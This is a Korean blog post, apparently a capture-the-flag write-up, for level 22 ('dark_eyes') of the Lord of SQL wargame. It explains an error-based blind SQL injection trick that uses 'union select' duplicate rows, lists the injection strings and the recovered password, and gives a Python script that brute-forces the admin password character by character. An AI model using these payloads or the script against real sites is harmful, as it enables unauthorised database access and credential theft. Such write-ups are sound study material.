ABOUT ME

끄적끄적 공부하기~

Today
Yesterday
Total
  • LOS - dark_eyes / level 22
    문제 풀이/Lord Of SQL 2024. 11. 7. 21:44

    문제

    풀이

    if문과 case when 모두 필터링이 걸려있으므로 iron_golem처럼 해결할 수 없다.

     

    하지만 똑같이 error based + blind를 수행해야 한다.

     

    이 문제를 해결하기 위해서는 2가지의 개념을 알아야 한다.

     

    1. SQL union select는 중복된 값을 제거하고 출력 (union all select는 중복 허용)

    2. True => 1 / False => 0

     

    이를 활용하면 blind sql injection이 가능해진다.

     

    ?pw=a' || (select 1 union select 1=1)#

    union select 1=1은 true이고 이는 1로 인식을 하게 되며 select 1과 중복값이므로 1개의 행만 반환하게 된다.

     

    ?pw=a' || (select 1 union select 1=2)#

    union select 1=2는 false이고 이는 0으로 인식을 하게 되며 1,0 2개의 결과를 반환하므로 error가 발생하게 된다.

     

    이를 활용해서 blind sql 공격

    정답

    더보기

    ?pw=5a2f5d3c

    코드

    import requests
    
    url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw="
    cookie = {'PHPSESSID' : 'input your cookie'}
    
    def find_length():
        num = 1
    
        while True:
            print(f"{num}", end= " ", flush=True)
            param = f"a' || (select 1 union select length(pw)>{num})%23"
            new_url = url + param
            res = requests.get(new_url, cookies=cookie)
    
            if res.text == '':
                print(f"\nLength : {num}")
                return num
            num += 1
    
    def injection(length):
        result = ""
        for i in range(1, length + 1):
            for k in range(32,128):
                print(k, end=" ", flush=True)
                param = f"' || id='admin' and (select 1 union select ascii(substr(pw,{i},1))={k})%23"
                new_url = url + param
                res = requests.get(new_url, cookies=cookie)
    
                if "dark_eyes" in res.text:
                    print(f"\n  Character position {i} : {chr(k)}")
                    break
            result += chr(k)
        print(result)
    
    length = find_length()
    
    injection(length)

    '문제 풀이 > Lord Of SQL' 카테고리의 다른 글

    LOS - hell_fire / level 23  (0) 2024.11.11
    LOS - iron_golem / level 21  (0) 2024.11.07
    LOS - dragon / level 20  (0) 2024.11.07
    LOS - xavis / level 19  (0) 2024.07.09
    LOS - nightmare / level 18  (0) 2024.07.09
Designed by Tistory.